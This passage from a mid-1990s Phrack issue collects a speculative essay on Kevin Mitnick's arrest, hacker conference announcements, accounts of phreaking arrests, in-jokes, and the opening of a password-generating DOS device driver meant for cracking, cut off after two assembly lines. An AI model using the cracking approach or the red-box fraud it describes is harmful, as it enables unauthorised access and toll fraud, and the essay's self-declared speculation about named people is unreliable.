there? And why stop at fighting back against our information agressors, why
not fight back against other countries that our government is too chickenshit
to fight against? Cuba comes to mind. Well, I hope you reply or something, I
really like Phrack, I try to get it whenever I can manage, but I don't
have an internet address where I can get files. Keep up the good work.
[Yet another volunteer for the US Cyber Corp! By God, I'll have
an army yet. :) ]
What you are about to read is pure speculation on my part. Do not take
this to be 100% fact, since most of it is hypothesis. But it sure will
make you think twice. "Ever get the feeling you're being cheated?"
There certainly are some really odd things regarding the whole mess,
especially with regards to the "investigating" being done by
a certain heretofore unheralded "security" professional and
a certain reporter.
One of the first oddities was the way the Mitnick saga suddenly
reappeared in the popular media. In February, and seemingly out of
nowhere, the ever diligent John Markoff entered the scene with the
a groundbreaking story. (Of course this is meant to be sarcastic as
hell.) Markoff's story dealt with a near miss by federal authorities
trying to apprehend Mr. Mitnick in Seattle about 5 months prior.
Now, if nothing else happened in the whole Mitnick saga, I never would
have given this a second thought, but in light of what followed,
it really does seem odd. Why would someone write about a subject that
is extremely dated of no current newsworthiness? "Our top story tonight:
Generalissimo Francisco Franco is still dead."
To be fair, I guess Markoff has had a hard on for Mitnick for ages.
Word always was that Mitnick didn't really like the treatment he got
in Markoff's book "Cyberpunk" and had been kinda screwing with him for
several years. (Gee, self-proclaimed techie-journalist writes something
untrue about computer hackers and gets harassed...who would have thought.)
So it really isn't that odd that Markoff would be trying to stay abreast
of Mitnick-related info, but it certainly is odd that he would wait
months and months after the fact to write something up.
But wait, a scant month and a half later, Mitnick gets busted! Not
just busted, but tracked down and caught through the efforts of a
computer security dude who had been hacked by Mitnick. Breaking the
story was none other than our faithful cyber-newshawk, John Markoff.
"Tsutomo Shimomura, born to an American mother and a Japanese father,
thus becan life as he was destined to live it...going in several
directions at once. A brilliant neurosurgeon, this restless young man
grew quickly dissatisfied with a life devoted solely to medicine.
He roamed the planet studying martial arts and particle physics,
colelcting around him a most eccentric group of friends, those
hard-rocking scientists The Hong Kong Cavaliers.
"And now, with his astounding jet car ready for a bold assault on the
dimension barrier, Tsutomo faces the greatest challenge of his turbulent
life...
"...while high above Earth, an alien spacecraft keeps a nervous watch on
Team Shimomura's every move..."
Wait a minute...that's Buckaroo Banzai. But the similarities are almost
eerie. Security dude by day, hacker tracker by night, ski patrol
rescue guy, links to the NSA! WOWOW! What an incredible guy! What an
amazing story!
But wait! Let's take a closer look at all of this bullshit, before it
becomes so thick all we can see is tinted brown.
Shimomura was supposedly hacked on Christmas Eve by Kevin Mitnick, which
set him off on a tirade to track down the guy who hacked his system.
Supposedly numerous IP tools were taken as well as "millions of dollars
worth of cellular source code."
First off, Shimomura's TAP is available via ftp. Modified versions of this
have been floating around for a while. I suppose it's safe to assume that
perhaps Tsutomo had modified it himself with further modifications (perhaps
even some of the IP/localhost spoofs that the X-consortium guys were
playing with, or maybe other tricks like denial of service and source-routing
tricks...I don't really know, I don't have any such thing authored by
Shimomura.)
Secondly, what is all this cellular source code? And why did Shimomura have
it? Could it be that this is really just some kind of smokescreen to make
it seem like Mitnick did something bad? For those of you who don't know,
Tsutomo is friends with Mark Lottor (yes, the OKI experimenter, and CTEK
manufacturer.). They have been friends for some time, but I don't know
how long. Lottor used to be roommates with, lo and behold, Kevin Poulsen!
Yes, that Kevin Poulsen...the guy who before Mitnick was the "computer
criminal de jour." Poulsen and Mitnick were no strangers.
It wouldn't be too much of a stretch of the imagination to think that
those files were really ROM dumps from phones that Lottor had given
Shimomura. It also wouldn't be too much of a stretch to imagine that
Mitnick knew Tsutomo, and decided to go poke around, pissing off
Tsutomo who knew that he'd been violated by SOMEONE HE ACTUALLY KNEW!
(It sure does piss me off much more to get fucked over by someone I know
rather than a complete stranger.)
Woah. If any of that is true, what strange bedfellows we have. But wait,
it gets better...
Enter John Markoff. Markoff and Tsutomo have obviously known each other for
a while. I don't know where they met...but I know they were together
at Defcon, maybe at Hope, and probably at the Tahoe Hacker's conference
a few years back. (I'd have to go back and look over the group
photos to be certain.)
Markoff already has a stake in the Mitnick story, since it was his book,
"Cyberpunk" that really gave ol' Kevin some coverage. Now, if Markoff knew
that Mitnick had hacked Tsutomo (from Tsutomo's own mouth), then certainly
any journalist worth his salt would see possibilities. Gee, what a great
concept! A colorful computer security guy tracks down one of the world's
most wanted hackers! What a great story! Remember that Stoll Guy?
But in order to get the book publishers really hot, it would take some more
press to rejuvinate interest in the Mitnick story. So the first story,
months after the fact, is printed.
Meanwhile, Tsutomo is supposedly tracking down Mitnick.
How does one track down a hacker? The legal (and really annoyingly hard way)
is to work with other system administrators and establish a trail via
tcp connects and eventually back to a dialup, then work with phone companies
to establish a trap and trace (which usually takes two or three calls) and
then working with local police to get a warrant. Somehow Tsutomo seemingly
managed to avoid all this hassle and get a lot done by himself. How?
Well, the Air Force OSI managed to track down the British Datastream Cowboy
by hacking into the systems he was hacking into the Air Force from. This is
the easy way. Hmmm.
I know with a good degree of certainty that Markoff's and Tsutomo's little
escapades pissed off a great many people within law enforcement, but I don't
know exactly why. If they WERE bumbling around stepping on FBI toes
during the course of their litle hunt, certainly the FBI would have
threatened them with some kind of obstruction of justice sentence if they
didn't stop. Did they?
Well before any of this had begun, Mitnick had been hacking other places
too. Guess what? He happened to hack CSCNS, where a certain ex-hacker, Scott
Chasin, runs the security side of things. I remember well over a year ago
talking to Chasin about a hacker who had breeched CNS. Discussing his
methods, we thought it must be Grok, back from the netherworld, since he
was so skilled. The hacker also made claims of being wireless to avoid
being traced. (This also fit into the Grok modus operandi...so we just
assumed it was indeed Grok and left it at that.) Chasin told the hacker
to get off of CNS, and that he could have an account on crimelab.com, if
he would only use it for mail/irc/whatever, but with no hacking, and on
the agreement that he would leave CSCNS alone.
The agreement was made, but went sour after only a few weeks when the mystery
hacker began going after CSCNS again. The Colorado Springs FBI was called
in to open an investigation. This was ages ago, but of course, field agencies
rarely talk.
Back in the present, Tsutomo goes to help out at the Well, where
a certain admin (pei) was having problems with intruders. This is the
same pei who a few months earlier told Winn Schwartau "The Well has no
security!" Which Winn reported in his newsletter. (This of course came after
Winn's account on the Well was reactvated by an anonymous person who
posted several messages about Markoff and signed them "km." DUH!)
So somehow, Tsutomo gets trace information leading back to a cell site in
North Carolina. How does a private citizen get this kind of information?
Don't ask me! My guess is that the feds said, give us what you know,
help us out a bit and don't get in our way. In return, one can surmise
that Tsutomo (and Markoff) got to glean more info about the investigation
by talking with the feds.
So, Mitnick gets busted, and Tsutomo got to ride around in a car with
a Signal Strength Meter and help triangulate Mitnick's cellular activity
to his apartment. Woo woo!
After all is said and done, Tsutomo has single handedly captured Mitnick,
John Markoff breaks the story on the FRONT PAGE of the New York Times, and
every other computer reporter in America continually quotes and
paraphrases Markoff's story and research as "God's Own Truth."
Mitnick, on the other hand, gets blamed for:
1) hacking Tsutomo
2) hacking the Well
3) hacking Netcom to get credit cards
4) hacking CSCNS
5) hacking Janet Reno's Cell Phone
6) hacking motorola
7) conversing with foreign nationals
etc..
Let's look at some these charges:
1) Mitnick was not the first (or only) to hack Tsutomo. The San Deigo
Supercomputer Center is a target for a lot of people. It's a major
Internet center, and there are all kinds of goodies there, and the
people who work there are smart guys with nice toys. Sorry, but
Mitnick is the scapegoat here.
2) Mitnick was not the first, last, or most recent to hack The Well.
Like Pei said, "The Well Has No Security." I know this first hand,
since I have an account there. I don't raise a stink about it,
because I pay by check, and my email is boring.
3) Mitnick was not the person who got the Netcom credit card file.
That file floated around for quite some time. He might have had
a copy of it, but so do countless others. Sorry. Wrong again.
4) Mitnick was in CNS. He was not the only one. Thanks for playing.
5) The thought that Mitnick could reprogram a MTSO to reboot upon
recognizing a ESN/MIN pair belonging to one specific individual
would require that he had hacked the manufacturer of the MTSO, and
gotten source code, then hacked the cellular carrier and gotten
a full database of ESN/MIN information. Both of these things have
been done by others, and Mitnick certainly could have done them too,
but I doubt he would have gone to that much trouble to call attention
to his actions.
6) Motorola, like EVERY other big-time computer industry giant has been
hacked by countless people.
7) Mitnick reportedly had dealings with foreign nationals, especially
one "Israeli" that set the CIA up in arms. Well, sure, if you get on
IRC and hang out, you are probably going to talk to people from other
countries. If you hang out on #hack and know your stuff, you will probably
end up trading info with someone. But, playing devil's advocate,
perhaps the person you might be talking to really isn't a 22 year old
Israeli student. Maybe he really is a 40 year old Mossad Katsa working
in their computer center. Was Mitnick Jewish? Would he do "whatever
it takes to help the plight of Jews worldwide?" Could he have been
approached to become one of the scores of sayanim worldwide? Sure.
But probably not. He'd be too hard to call on for the favors when they
would be needed by Mossad agents. So, I have some doubts about this.
Less than a month after the whole bust went down, Markoff and Tsutomo
signed with Miramax Films to produce a film and multimedia project
based on their hunt for Mitnick. The deal reportedly went for
$750,000. That is a fuckload of money. Markoff also gets to do a book,
which in turn will become the screenplay for the movie. (Tsutomo
commented that he went with Miramax "based on their track record."
Whatever the fuck that means.)
Less than a month and they are signed.
Looks to me like our duo planned for all this.
"Hey Tsutomo, you know, if you went after this joker, I could write a book
about your exploits! We stand to make a pretty penny. It would be
bigger than the Cuckoo's egg!"
"You know John, that's a damn good idea. Let me see what I can find.
Call your agent now, and let's get the ball rolling."
"I'll call him right now, but first let me write this little story to
recapture the interest of the public in the whole Mitnick saga. Once that
runs, they publishers are sure to bite."
Meanwhile Mitnick becomes the fall guy for the world's ills, and
two guys methodically formulate a plot to get rich. It worked!
Phrack Magazine and Computer Security Technologies proudly present:
The 1995 Summer Security Conference
SSSS U U M M M M EEEEE RRRR CCCC OOOO N N
S U U MM MM MM MM E R R C O O NN N
SSS U U M M M M M M M M EEE RRRR C O O N N N
S U U M M M M M M E R R C O O N NN
SSSS UUUU M M M M EEEEE R R CCCC OOOO N N
"SUMMERCON"
June 2-4 1995 @ the Downtown Clarion Hotel in Atlanta, Georgia
This is the official announcement and open invitation to the 1995
incarnation of Summercon. In the past, Summercon was an invite-only
hacker gathering held annually in St. Louis, Missouri. Starting
with this incarnation, Summercon is open to any and all interested
parties: Hackers, Phreaks, Pirates, Virus Writers, System Administrators,
Law Enforcement Officials, Neo-Hippies, Secret Agents, Teachers,
Disgruntled Employees, Telco Flunkies, Journalists, New Yorkers,
Programmers, Conspiracy Nuts, Musicians and Nudists.
LOCATION:
The Clarion Hotel is located in downtown Atlanta, 9 miles from
Hartsfield International Airport and just a few blocks from the
Peachtree Center MARTA Station.
Considering the exorbitant expenses involved with attending other
conferences of this type, Rooms at Summercon are reduced to
$65 per night for Single or Double Occupancy
The Clarion Hotel Downtown, Courtland at 70 Houston St., NE,
Atlanta, GA 30303
(404) 659-2660 or (800) 241-3828 (404) 524-5390 (fax)
No one likes to pay a hundred dollars a night. We don't expect you
to have to. Spend your money on room service, drinks in the hotel bar,
or on k-rad hacker t-shirts. Remember: Mention that you are attending
Summercon in order to receive the discount.
DIRECTIONS
75/85 Southbound - Exit 97 (Courtland). Go 3 blocks south on Courtland
then turn left on Houston (John Wesley Dobbs Ave.)
20 East - Exit 75/85 North at International. Turn Left on Courtland at
Houston Ave. NE. (aka. John Wesley Dobbs Ave. NE.)
20 West - Exit 75/85 North at International. One block to Courtland
and right at Houston Ave. NE. (John Wesley Dobbs Ave. NE.)
Atlanta Airport Shuttle - The Express Bus that leaves from Atlanta's
International Airport will drop you off at many hotels in the downtown
area, including the Clarion. The shuttle should be no more than 12
dollars. Fares may be paid at the Airport Shuttle in the Ground
Transportation area of the Airport Terminal.
MARTA - The Metropolitan Atlanta Rapid Transit Authority (MARTA), is a
convenient and inexpensive way to negotiate most of the Atlanta area.
Take the MARTA train from the Airport to the Peach Tree Center Station.
Walk three blocks down Houston to the intersection of Houston and
Courtland. The MARTA fare will be roughly 2 dollars.
Taxis - The average cab fare from Atlanta's Airport to the downtown area
is roughly 30 dollars.
CONFERENCE INFO
It has always been our contention that cons are for socializing.
"Seekret Hacker InPh0" is never really discussed except in private
circles, so the only way anyone is going to get any is to meet new people
and take the initiative to start interesting conversations.
Because of this, the formal speaking portion of Summercon will be
held on one day, not two or three, leaving plenty of time for people
to explore the city, compare hacking techniques, or go trashing and
clubbing with their heretofore unseen online companions.
The "Conference" will be held on June 3rd from roughly 11:00 am until
6:00 pm with a 1 hour lunch break from 1:00 to 2:00.
NO VIDEO TAPING WILL BE ALLOWED IN THE CONFERENCE ROOM. Audio Taping
and still photography will be permitted.
CURRENT LIST OF SPEAKERS:
Robert Steele - Ex-Intelligence Agent, Founder and CEO of Open Source
Solutions (a private sector intelligence firm)
Topic: Hackers from the Intelligence Perspective
Winn Schwartau - Author of "Information Warfare" and "Terminal Compromise",
Publisher of Security Insider Report, and noted security
expert
Topic: Electromagnetic Weaponry
Bob Stratton - Information Security Expert from one of America's largest
Internet service providers
Topic: The Future of TCP/IP Security
Eric Hughes - Cryptography Expert and founding member of the "Cypherpunks"
Topic: Cryptography, Banking, and Commerce
Annaliza Savage - London-based Director/Producer
Topic: Discussion of her documentary "Unauthorized Access"
(Followed by a public screening of the film)
Chris Goggans - Editor of Phrack Magazine and Summercon M.C.
Topic: introductions, incidentals and a topic which is sure
to culminate in an international incident.
(Other Speakers May Be Added - Interested parties may contact scon@fc.net)
COSTS
Since other cons of this type have been charging from 25 to 40 dollars
entry fees, we are only charging 10 dollars. Yes, that's correct,
TEN (10) dollars in US currency. Money is far too scarce among the
hacker community to fleece everyone for money they will probably need
to eat with or pay for their hotel rooms.
WHAT TO DO IN ATLANTA:
To attempt to make everyone's stay in Atlanta more exciting, we are
contacting local establishments to arrange for special discounts and/or
price reductions for Summercon attendees. Information will be handed
out regarding these arrangements at the conference.
Atlanta is a happening town.
Touristy Stuff Party Time
The World of Coca-Cola Buckhead
Underground Atlanta The Gold Club
Georgia Dome (Baseball?) (Countless Other Clubs and Bars)
Six Flags
CONTACTING SUMMERCON SPONSORS
You can contact the Summercon sponsors by several means:
"Unauthorized Access [is] a documentary that tells the story of the
computer underground from our side, it captures the hacker world
from Hamburg to Los Angeles and virtually everywhere in between."
2600 The Hacker Quarterly
Computers are becoming an integral part of our everyday existence.
They are used to store and send a multitude of information, from
credit reports and bank withdrawals, to personal letters and highly
sensitive military documents. So how secure are our computer
systems?
The computer hacker is an expert at infiltrating secured systems,
such as those at AT&T, TRW, NASA or the DMV. Most computer systems
that have a telephone connection have been under siege at one time
or another, many without their owner's knowledge. The really good
hackers can reroute the telephone systems, obtain highly sensitive
corporate and government documents, download individual's credit
reports, make free phone calls globally, read private electronic
mail and corporate bulletins and get away without ever leaving a
trace.
So who are these hackers? Just exactly WHAT do they do and WHY do
they do it? Are they really a threat? What do they DO with the
information that they obtain? What are the consequences of their
actions? Are hackers simply playing an intellectual game of chess
or are hackers using technology to fight back and take control of
a bureaucratic system that has previously appeared indestructible?
Unauthorized Access is a documentary that demistifies the hype and
propaganda surrounding the computer hacker. Shot in 15 cities
and 4 countries, the film hopes to expose the truths of this subculture
focusing on the hackers themselves.
Unauthorized Access is a view from inside the global underground.
For a PAL (European) copy send a cheque/postal order for 15 British
Pounds or $25 for NTSC (American) standard to:
Savage Productions
Suite One
281 City Road
London EC1V 1LA
The first UK hacking conference, Access All Areas, is to be run in London
later this year. It is aimed at hackers, phone phreaks, computer security
professionals, cyberpunks, law enforcement officials, net surfers,
programmers, and the computer underground.
It will be a chance for all sides of the computer world to get together,
discuss major issues, learn new tricks, educate others and meet "The
Enemy".
Access All Areas is to be held during the first weekend of July, 1995 at
King's College, London. King's College is located in central London on
The Strand and is one of the premier universities in England.
There will be a large lecture theatre that will be used for talks by
computer security professionals, legal experts and hackers alike. The
topics under discussion will include hacking, phreaking, big brother and
the secret services, biometrics, cellular telephones, pagers, magstrips,
smart card technology, social engineering, Unix security risks, viruses,
legal aspects and much, much more.
Technical workshops will be running throughout the conference on several
topics listed above.
A video room, equipped with multiple large screen televisions, will be
showing various films, documentaries and other hacker related footage.
The conference facilities will also include a 10Mbps Internet link
connected to a local area network with various computers hanging off of it
and with extra ports to connect your laptop to.
Registration will take place on the morning of Saturday 1st July from
9:00am until 12:00 noon, when the conference will commence. Lectures and
workshops will run until late Saturday night and will continue on Sunday
2nd July from 9:00am until 6:00pm.
Accommodation in university halls of residence is being offered for the
duration of the conference. All prices quoted are per person, per night
and include full English breakfast. (In British pounds)
SINGLE TWIN
WELLINGTON HALL 22.00 16.75
Special prices for British and Overseas university students, holding
current student identification, are also available - please call King's
Campus Vacation Bureau for details.
All bookings must be made directly with the university. They accept
payment by cash, cheque and credit card.
A 2 Day International Symposium
on Information Warfare
September 7-8, 1995
Stouffer Concourse Hotel
Arlington, VA
Presented by:
National Computer Security Association
Winn Schwartau and Interpact, Inc.
Robert Steele and OSS, Inc.
CONFERENCE OVERVIEW:
The Information Warfare Conference (InfoWarCon) is our third
international conference dedicated to the exchange of ideas,
policies, tactics, weapons, methodologies and defensive posture
of Information Warfare on a local, national, and global basis.
InfoWarCon will bring together international experts from a broad
range of disciplines to discuss and integrate concepts in this
rapidly evolving field. Attendees will intensely interact with
the speakers and presenters as well as each other to increase
each other's understanding of the interrelatedness of the topics.
While there are many interpretations of Information Warfare by
different groups, the current working definition we employ is:
Information Warfare is the use of information and informa
tion systems as weapons in a conflict where information and
information systems are the targets.
Information Warfare is broken down into three categories, and
InfoWarCon speakers and attendees will interactively examine them
all:
Class I: Personal Privacy. "In Cyberspace You Are Guilty
Until Proven Innocent." The mass psychology of information.
Privacy versus stability and law enforcement.
Class II: Industrial and Economic Espionage. Domestic and
international ramifications and postures in a globally
networked, competitive society.
Class III: Global Information Warfare. Nation-state versus
Nation-state as an alternative to convention warfare, the
military perspective and terrorism.
THE CONFERENCE
The conference is designed to be interactive - with extensive
interaction between all participants. The preliminary contents
and discussions will focus on:
- What is Information Warfare?
- What Are the Targets?
- Protecting the Global Financial Infrastructure
- Military Perspectives on InfoWar
- InfoWar Vs. Non-Lethal Warfare
- Defending the U.S. Infrastructure
- The Intelligence Community and Information
- Open Source Intelligence
- The Psychology of Information
- Privacy Balances
- Information As the Competitive Edge
- International Cooperation
- Denial of Service
- Cyber-Terrorism
- Offensive Terrorism
- Offensive InfoWar Techniques
- Defensive InfoWar Postures
- Education and Awareness Training
- Corporate Policy
- Government Policy
- Global Policy
- Espionage
- Export Controls of Information Flow
- The Legal Perspective
- The New Information Warriors
Plenary sessions will accommodate all attendees, while break-out
sessions will provide more intimate presentations and interactiv
ity on topics of specific interests.
SUBMISSIONS:
Submission for papers are now be accepted. We are looking for
excellent speakers and presenters with new and novel concepts of
Information Warfare. You may submit papers on the topics listed
above, or on others of interest to you, your company or govern
ment.
We welcome innovative thought from the private sector, the gov
ernment (civilian, military and intelligence) and the interna
tional community. Submissions must be received by May 1, 1995,
and notification of acceptance will occur by June 1, 1995.
Please submit 2-3 page presentation outlines to:
winn@infowar.com.
All submissions and the contents of InfoWarCon '95 will be in
English. If you must submit a hard copy: Fax: 813.393.6361 or
snail mail to: Interpact, Inc. 11511 Pine St., Seminole, FL
34642
All submissions and presentation should be unclassified, as they
will become Open Source upon submission and/or acceptance.
SPONSORS:
The Information Warfare Symposium is currently choosing sponsors
for various functions.
Continental Breakfast, Day 1 and Day 2
Morning Coffee Break, Day 1 and Day 2
Lunch, Day 1 and Day 2
Afternoon Coffee Break, Day 1 and Day 2
Cocktail Party, Day 1
Each Corporate or Organizational sponsor will be included in all
promotional materials and Symposium function. For more infor-
mation, contact Paul Gates at the NCSA. Voice: 717.258.1816 or
email: 747774.1326@Compuserve.com.
EXHIBITS:
Limited space is available for table-top displays for commercial
or governmental products, services, educational or other promo
tion. For further information, contact Paul Gates at the National
Computer Security Association. 717.258.1816
( ) I'M INTERESTED, but would like more information sent to the
address above. Please include a free copy of your 32 page
"Information Security Resource Catalog".
( ) I'd like to know more about NCSA on-site training, security
audits and consulting services. Please have someone give me
a call.
MAIL OR FAX TO:
National Computer Security Association
10 South Courthouse Avenue
Carlisle, PA 17013
Phone 717-258-1816 or FAX 717-243-8642
EMAIL: 74774.1326@compuserve.com
CompuServe: GO NCSAFORUM
Winn Schwartau Interpact, Inc.
Information Security & Warfare
V:813.393.6600 F:813.393.6361
Email: Winn@Infowar.Com
Ed Cummings, also known to many in cyberspace as "Bernie S" was arrested
on March 13th, 1995 for 2 misdemeanors of possession, manufacture and sale
of a device to commit Telecommunications fraud charges. He is being held in
Delaware County Prison in lieu of $100,000.00 Bail. His story follows.
On the evening of the 13th Bernie S. received a page from his mail drop.
Some people he knew from Florida had stopped in at his mail drop thinking
it was his address. They were looking to purchase several 6.5 Mhz Crystals.
These crystals when used to replace the standard crystal in the RADIO SHACK
Hand Telephone dialer, and with some programming, produce tones that trick
pay phones into believing they have received coins. These are commonly
referred to as "red boxes" and got their name from an actual red box pulled
from a pay phone in the late seventies by some curious person.
Ed Cummings met these people at a local 7-11 (which 7-11?) where he was
to sell the widely used electronic timing crystals for roughly $4 a piece.
The purchaser only had two twenty dollar bills and Ed Cummings no change.
Ed Cummings went into the 7-11 to get some change to make the transaction.
A police officer noticed a van parked in the parking lot of the 7-11 with
more several African Americans inside. As Ed was leaving the 7-11 he noticed
fifteen police cars pulling into the parking lot of the 7-11.
Next thing he knew the police were asking him if they could `rifle`
through his car. He said no. Moments later as he was talking to a Detective
and noticed another police officer going through his car. He asked the officer
to stop. They did not, in all the police confiscated a few hundred 6.5Mhz
crystals (which he resells for roughly $4 a piece) and a large box of 100
dialers. The police told him they would get back to him, and he could have
his electronics back if the contents of the bag were legal. In the contents
of the seized items was one modified dialer, that a customer returned after
modification explaining that it did not work, a broken red box.
The next day Ed `Bernie S.` Cummings was over at a friend`s house working
on their computer when eight to ten plain clothed armed men burst into the
house and ordered him and his friends to freeze. They cuffed him and took him
to a holding cell (what jail?). There he was left without a blanket or jacket
to sleep with in the cold cell.
That evening the Secret Service had been called in when someone figured
out what the dialers and crystals would do when put together. The
United States Secret Service found his home and entered it, while they were
questioning him.
The next morning at his arraignment he was finally told of the charges
he was being held upon. They were Two misdemeanor Charges of manufacture,
Distribution and Sale of devices of Telecommunications Fraud. and Two Unlawful
use of a computer charges. His bail was automatically set to $100,000.00
because Ed Cummings refused talk with the police without his attorney present.
The Secret Service presented to the judge a 9 page inventory of what
they had found in his home. On that inventory there 14 computers. 2 printers.
more Boxes of bios chips for the systems he worked with. Eprom burners which
the Federal Agents had labeled "Cellular telephone chip reprogramming adapters"
Eproms are used in everything from Automobile computers to personal computers.
They also confiscated his toolbox of screw drivers, wire clippers and other
computer oriented tools he used for his consulting job.
The Judge dropped the Two unlawful use of a computer charges due to
the fact that the evidence was circumstantial and the county had no actual
evidence that Ed had ever used the computers in question.
As of 3/27/1995 Ed Cummings is still in Delaware County Prison
awaiting his trial. His trial has not yet been scheduled and Ed will most
likely not raise the One Hundred Thousand Dollars needed to be released on
bail.
This file's purpose is to clear up any misconceptions about the recent
situation that has come upon the sociopolitical group known as KoV.
As it stands now, (10:55 PM EST on 1/29/95), NO ONE has been busted for
ANYTHING. We have received several tip-offs from private sources regarding
a supposed "FBI investigation" of our group that is purported to be active
at this very minute. However, with the exception of a few VERY suspicious
incidents and coincidences, there has been NO HARD EVIDENCE thus far about
ANYONE getting busted for ANYTHING. So while we are EXTREMELY concerned for
the integrity of our innocence, we must stress that nothing has gone down.
Yet.
We have very good reason to believe that a few of those among us are about
to be charged with various false accusations by a local university. However
the current mental state of the person in charge of this charade is also in
question. Therefore it would be logical to assume nothing. The conflicting
tip-offs, rumors, warnings and threats that we have received make it even
more difficult to get a clear picture of exactly what is going on. We have
heard so many things from so many different sources, both credible and
questionable, that we would be hard-pressed to give an accurate evaluation
of the current state of things.
What we can say for sure, however, is that KoV officially died on Monday,
January 23, 1995, along with its communications network, KoVNet. This
promises to be a great loss to the open-minded and sociopolitical community
as well as the free-thinkers and activists who supported us so generously.
Our reasons for disbanding the group were many, but the foremost was in
light of the current situation we are facing.
Consider this last obstacle our final, stalwart stand against the evils of
AmeriKKKan government and its various greedy, capitalistic agencies.
From the moment of KoV's conception, they have publicly sought to destroy
us; to silence our questioning of authority, to oppress our free-thinking
minds, and to close off our intellectual channels of communication. They
have even gone so far as to stalk us in public places. 'Tis a shame indeed.
If you have any questions or if you wish to contact us for any reason,
you may email sgolem@pcnet.com with the subject or header of "ATTN: KoV".
I will try to post further updates of this saga to CiPNet, ThrashNet,
QuantumNet, InsanityNet, ScumNet, FizzNet, NukeNet and any others I can.
We would appreciate any support that other h/p, art or political groups can
lend us. Until then, my friends...
-Lord Valgamon, Malicious Intent, Onslaught, Leland Gaunt & the rest of KoV
Yeah yeah, I'm the only one. But here is a generally interesting
description of everything to getting caught to arraignment.
Well about 5 months ago i needed to set up a conference really quick..
it was about 12:00 (never knew there was a 10:00 pm curfew in that area)
and went to a 25 pair box at this local strip mall. Well I was out there
the box was already open and I was just about to start testing pairs to
see which was connected and what wasn't.
All of a sudden, i hear this loud screeching sound of a car coming
to a skid from doing about 90mph. I turned and saw that typically dirty
squad car about to hit me.. you know the car, mud and dust on the tires
and body, coffee and smudge marks all over the windshield. i got on my
bike and started to run. Now the thing is I COULD have gotten away.. the
pathetic excuse for a cop had run not more than 10 yards after me and
decided that I was a threat so he pulled his handgun and yelled. I saw
this and thought it would be wiser to stop than get shot.
Within 2 minutes at LEAST 10 squad cars had come to his aide.. i did
not know i was less than a half mile from a police station and they were
looking for a prowler in the general area. The police did the normal,
called me scum, asked me what i was doing, searched me until they were
satisfied... than picked me up and threw me in the car... the funny
thing was they didn't see my phone until they threw me into the back seat
and the cord fell out.. (they never saw the page of notes and 'naughty'
material in my pocket though it was about 4 inches thick and sticking out
that a blind man could see it.
Well they got me to the station and pried my info out, and called my
father... I came up with a good enough story about some made up user
who told me to go across the street and plug in.. then I was told I
would be dealt with in the next week... I did not receive anything for
three and a half months.
Once the time came for the arraignment (for a juvenile they called it
an intake). I got to go to the police station, sit for about 3 hours (as
if i thought they would be on time) until I waited for my probation
officer. Finally she got there and we proceeded to talk. She explained
all of the charges and my lawyer (interesting guy) laughed, I was being
charged with prowling (could be disputed I was on a public sidewalk and
there in that strip mall is a 24 hr laundry mat), loitering (again that
could be disputed), and attempted theft of services (though I NEVER even
plugged in).
After this was all said i spent the next hour talking with the lady
in private. I immediately found she had an interest in computers and was
having a problem with her home pc. So I easily changed the topic to my
fascination in computers and solved her problem with her computer, and
answered at least 50 questions about them. In the last 10-15 minutes of
the conversation all i could get from her were statements about how
impressed and how intrigued she was with me. She ended up giving me a
look (that was hard to judge but i am staying away from this chick) that
was either confusion or attraction, slipped me a card with her home phone
number and name and called back in my lawyer and parents.
Once they got back in, all that she really said was I was a great boy,
that she would like to see me do more with my time besides computers, and
that she was taking my sentence of 12 months formal probation with 300
hours of community service to 3 months of informal probation with 30
hours of community service. That and she said bell was asking her what
to do and she would tell them that it was a non issue since I did not
plug in and even if I had it would not be their concern unless I had
plugged in to the telco access part of the network interface.
Well I have yet to receive official record of having to perform
the community service or the probation but I called my probation officer
yesterday and said she wasn't putting the community service into the
punishment and it has been an equivalent amount of time to just say that
since I haven't gotten in trouble since she will count the probation as
already served. Luckily she based all other needs of me on the report
from a teacher, and with my luck she picked the one teacher, my computers
teacher, that no matter what I did or said would lie and say I didn't.
Thanks to erikb for publishing this, and greets to CXrank, paradox,
dark phiber, the fat cop (who spilled his coffee and box of donuts
coming after me) that made this all possible, and to everyone else.
Danny Partridge Emmanuel Goldstein
(AKA Danny Bonaduce: (AKA Eric Corley:
a child star from the child-like publisher
"The Partridge Family" of 26oo magazine.
---------------------- ------------------
Hosts a boring local Hosts a boring local
radio program. radio program.
Quasi Celebrity Quasi Celebrity
Status among Status among
70's freaks telephone phreaks
Periods of Heavy Periods of Heavy
Drug Usage Drug Usage
Involved in Sex Involved in Sex
Scandal with Scandal with
another man another man
Last name is Friends with Phiber
"Bonaduce" Optik whose first
handle was "Il Duce"
Supplements incoming Supplements incoming
by doing desperate by doing desperate
local talk shows local talk shows
whenever he can. whenever he can.
Top 10 #hack fights that would be the coolest to see.
(And no, Ophie's not in it twice just because she's a girl...)
===========================================================================
10.) The D.C. Convention Center is Proud to Present: Hot-Oil Wrestling
featuring KL & TK.
9.) Ludichrist vs. GFM, to be resolved at the next convention, or, uh, the
one after that... or, uh...
8.) C-Curve and Elite Entity, "Who's who?"
7.) Ben Camp vs. Ben Sherman, "Particles of Novocain Everywhere."
(Or: "I'm totally numb, let me hug you!!!")
6.) Dan Farmer and Pete Shipley: "Whips vs. Chains"
5.) Grayarea vs. Netcom "No, *I* want root..."
4.) WWF Wrestling with Len and |al|.
3.) Ophie vs. Voyager, "Night of the Living Dead."
2.) Okinawa vs. Gail Thackery, "The Winner Gets Okinawa's Testicle."
and the number one #hack fight is
1.) Ophie vs. all the #hack guys, "10 Bucks on the Girl"
P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit
+++++++++++++++++++++++++++++++++++++++++++++
The device driver code listed below provides a data stream of passwords.
The device driver approach was used to speed up the process
of cracking passwords on an incremental basis. The usual approach was
to generate the passwords to a file, then reading the file, etc..the device
driver approach circumvents these file storage problems, and others, such as
having enough free disk space and delays from disk i/o.
This driver operates completely in memory (approx. 0.5Kb)
How practical is this?
----------------------
This program would be very useful if you think you may know what strategy
the user/admin uses for picking out their passwords. Without eliciting some
sort of a strategy, forget it-- unless your desperate enough!!
A "strategy" could consist of any of these possible advantages--
1) default passwords (ie: SIN, student #, birth date, phone number...)
2) the mutation of a lUSERs' known password from another system
3) viewing the mark typing in most of their password with a couple
of unseen characters
4) etc...
---------------------------
With the sample device driver provided, passwords starting at
'aaaaaaa' and ending with 'zzzzzzz' will be generated. The length
of the password string can be modified by changing the length of
the password string itself (that is, the variable "number"). The
range of characters in the passwords can also be changed by
modifying the following two lines:
;hackdrv.sys
;.
;.
;
for ending character--
cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range
...and for starting character
